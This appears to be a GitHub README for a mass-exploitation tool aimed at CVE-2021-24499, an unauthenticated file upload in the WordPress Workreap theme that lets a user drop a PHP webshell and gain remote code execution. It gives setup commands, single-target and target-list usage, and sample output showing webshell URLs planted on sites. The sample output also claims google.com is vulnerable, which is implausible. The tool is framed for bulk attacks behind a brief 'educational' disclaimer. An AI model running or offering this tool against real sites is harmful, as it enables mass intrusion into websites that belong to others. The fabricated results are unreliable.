jayhutajulu1/cve-2021-24499WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution
WordPress Theme Workreap 2.2.2 - Unauthenticated File Upload Leading to Remote Code Execution
A powerful and accurate mass exploitation tool for CVE-2021-24499 vulnerability in WordPress Workreap theme. This exploit allows unauthenticated file upload which can lead to Remote Code Execution (RCE).
CVE-2021-24499 is a critical vulnerability in WordPress Workreap theme (version 2.2.2 and below) that allows unauthenticated users to upload arbitrary files, including PHP files, through the workreap_award_temp_file_uploader AJAX action. This can lead to Remote Code Execution (RCE) on the target server.
Vulnerable Versions: All versions up to and including 2.2.2
CVSS Score: Critical
curl command-line toolopts.php or shell.php file (PHP webshell)git clone https://github.com/jayhutajulu1/CVE-2021-24499.git
cd CVE-2021-24499
chmod +x exploit.sh
opts.php or shell.php in the same directory (your PHP webshell)Single Target:
./exploit.sh -u http://target.com
Multiple Targets (from file):
./exploit.sh -l targets.txt
Show Help:
./exploit.sh --help
| Option | Description |
|---|---|
-u URL | Exploit a single target URL |
-l FILE | Exploit multiple targets from a file (one URL per line) |
--help | Show help menu |
Create a text file with one URL per line:
http://target1.com
https://target2.com
http://target3.com
$ ./exploit.sh -u https://domain.com
WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution | CVE-2021-24499
Made by Jay Maranatha Hutajulu
https://domain.com/ >> VULNERABLE!
--> SHELL: https://domain.com//wp-content/uploads/workreap-temp/shell.php
$ ./exploit.sh -l targets.txt
WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution | CVE-2021-24499
Made by Jay Maranatha Hutajulu
https://domain.com >> NOT VULNERABLE!
https://www.google.com >> VULNERABLE!
https://www.domain.com >> NOT VULNERABLE!
https://google.com >> VULNERABLE!
This tool is provided for educational and authorized testing purposes only.
By using this tool, you agree to use it only for legitimate security testing and research purposes.
Author: Jay Maranatha Hutajulu
This project is licensed under the MIT License - see the LICENSE file for details.
Contributions, issues, and feature requests are welcome! Feel free to check the issues page.
If you find this tool useful, please consider giving it a star ⭐
Remember: Always use security tools responsibly and ethically. Happy hacking! 🚀